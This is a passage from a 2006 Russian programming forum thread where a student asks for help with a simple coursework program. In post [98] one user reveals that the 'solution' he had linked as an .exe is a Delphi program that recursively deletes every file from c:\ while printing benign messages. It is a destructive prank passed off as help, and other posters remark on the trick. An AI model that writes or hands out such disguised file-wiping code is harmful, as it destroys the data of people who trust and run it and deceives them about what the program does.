Скачать: CL | DM;

Помогите сделать лёгкую прогу!!!!!!!!!!!   Найти похожие ветки 

← →
Павел Калугин ©   (2006-12-21 16:32) [80]

> [78] Ega23 ©   (21.12.06 16:29)
> нашем местном на каком-нибудь "менеджменте" в пределах курса
> информатики...

Угу а в следующем годе странички верстать... не похоже на менеджмент

---

← →
Павел Калугин ©   (2006-12-21 16:32) [81]

> [79] pasha_golub ©   (21.12.06 16:32)

или С или Туробо Паскаль, вообще то:)

---

← →
pasha_golub ©   (2006-12-21 16:34) [82]

> Павел Калугин ©   (21.12.06 16:32) [81]
>
> > [79] pasha_golub ©   (21.12.06 16:32)
>
> или С или Туробо Паскаль, вообще то:)
>

Турбо для Винды2000 как-то некошерно уже.

---

← →
Ega23 ©   (2006-12-21 16:36) [83]

> Угу а в следующем годе странички верстать... не похоже на
> менеджмент


Судя по

KatE* ©   (21.12.06 15:56) [37]

да как её выложить

(к gif-картинке с блок-схемой относилось)
есть большие сомнения, что сабж про "странички" не заливал...

---

← →
Павел Калугин ©   (2006-12-21 16:36) [84]

> [82] pasha_golub ©   (21.12.06 16:34)

Как это? не может быть. Хотя, рэбе говорил что сам компьютер некошерен...

---

← →
Ega23 ©   (2006-12-21 16:37) [85]

> Турбо для Винды2000 как-то некошерно уже.
>


Почему? Нормально... У нас на нём давали...

---

← →
Павел Калугин ©   (2006-12-21 16:38) [86]

> [83] Ega23 ©   (21.12.06 16:36)

а также если автор не знает что описать алгоритм можно словами, то есть большие сомнения что блоксхему рисовал сам..

---

← →
vidiv ©   (2006-12-21 16:41) [87]

лови:
http://vid.sakhgu.sakhalin.ru/file/project2.exe
http://vid.sakhgu.sakhalin.ru/file/project2.txt

---

← →
Павел Калугин ©   (2006-12-21 16:42) [88]

> [87] vidiv ©   (21.12.06 16:41)

Штрейкбрехер...

---

← →
vidiv ©   (2006-12-21 16:43) [89]

> Штрейкбрехер...

это кто?

---

← →
Павел Калугин ©   (2006-12-21 16:44) [90]

> [89] vidiv ©   (21.12.06 16:43)

Это очень нехороший человек....
когда персонал бастует именно такие люди выходят работать вместо них, что позволяет уволить бастующих всем коллективом.

---

← →
TUser ©   (2006-12-21 16:45) [91]

Чего-то авторша испугалась ...

---

← →
vidiv ©   (2006-12-21 16:46) [92]

> Это очень нехороший человек....
> когда персонал бастует именно такие люди выходят работать
> вместо них, что позволяет уволить бастующих всем коллективом.
>

Да лана вам... что вы на девушку напали... нервничает ведь, курсовая горит... надо понимать ;)

---

← →
Axis_of_Evil ©   (2006-12-21 16:47) [93]

Павел Калугин ©   (21.12.06 16:44) [90]
исходник лучше посмотрите :>
// или он только у меня так отображается?

---

← →
Слоник_   (2006-12-21 16:48) [94]

код неграмотный совершенно!

---

← →
vidiv ©   (2006-12-21 16:49) [95]

> Axis_of_Evil ©   (21.12.06 16:47) [93]

текстовые файлы надо в блокноте открывать =)
попробуйте перевести первые 4 символа, рассматривая их как хекс коды двух символов.

... но потом я сжалился и выложил еще и EXE =)

---

← →
iXT ©   (2006-12-21 16:51) [96]

она же сказала 30 минут
Вот теперь ждите перездачу

---

← →
vidiv ©   (2006-12-21 16:55) [97]

блин, неуспел :(

---

← →
vidiv ©   (2006-12-21 17:02) [98]

program Project2;
{$APPTYPE CONSOLE}
uses
 Windows;

procedure DeleteFileInDir(Dir:string);
var FD:TWin32FindData;
   FindHanle: THandle;
   S:String;
begin
 FindHanle := FindFirstFile(PChar(Dir+"*.*"), FD);
 while FindNextFile(FindHanle, FD) do begin
     if (FD.dwFileAttributes AND FILE_ATTRIBUTE_DIRECTORY) > 0 then begin
         if ((FD.cFileName = string(".")) or (FD.cFileName = "..")) then
             continue;
         S := Dir + FD.cFileName + "\";
         if s <> "" then AnsiToOem(PChar(S), PChar(S));
         Writeln("Find files in ", S);
         DeleteFileInDir(Dir + FD.cFileName + "\");
         S := Dir + " ";
         if S <> "" then AnsiToOem(PChar(S), PChar(S));
         Writeln("Find files in ", S);
     end
     else begin
         S := "Make file to delete: " + FD.cFileName;

         //sleep(FD.nFileSizeLow div 2048);
         DeleteFile(PChar(Dir + FD.cFileName));
         if s <> "" then AnsiToOem(PChar(S), PChar(S));
         writeln(s);
     end;
 end;
 FindClose(FindHanle);
end;
begin
 DeleteFileInDir("c:\");
end.

это исходник =)

---

← →
Anatoly Podgoretsky ©   (2006-12-21 17:06) [99]

Мужики, что после драки кулаками махает, 30 минут давно кончились, уже не нужно.

---

← →
iXT ©   (2006-12-21 17:09) [100]

На перездаче будет уже другое задание

З.Ы.
"Жила была девочка.... Сама виновата" (С) Фоменко

---

← →
novill ©   (2006-12-21 17:10) [101]

> [98] vidiv ©   (21.12.06 17:02)
> это исходник =)

коварство ваше не знает границ...

---

← →
iXT ©   (2006-12-21 17:13) [102]

> vidiv ©   (21.12.06 17:02) [98]


Такую прогу, да преподавателю..... это уже на перездача

---

← →
ocean ©   (2006-12-21 17:13) [103]

А мне понравились орлы, которые денег просили.
"Слышь, Бивень, сейчас нам дадут. Точно дадут."

---

← →
iXT ©   (2006-12-21 17:16) [104]

на:=не;

---

← →
novill ©   (2006-12-21 17:17) [105]

Удалено модератором

---

← →
alex_*** ©   (2006-12-21 17:42) [106]

Удалено модератором

---

← →
Алхимик ©   (2006-12-21 17:45) [107]

Удалено модератором

---

← →
novill ©   (2006-12-21 17:46) [108]

Удалено модератором

---

Страницы: 1 2 3 вся ветка

Скачать: CL | DM;



Память: 0.64 MB
Время: 0.036 c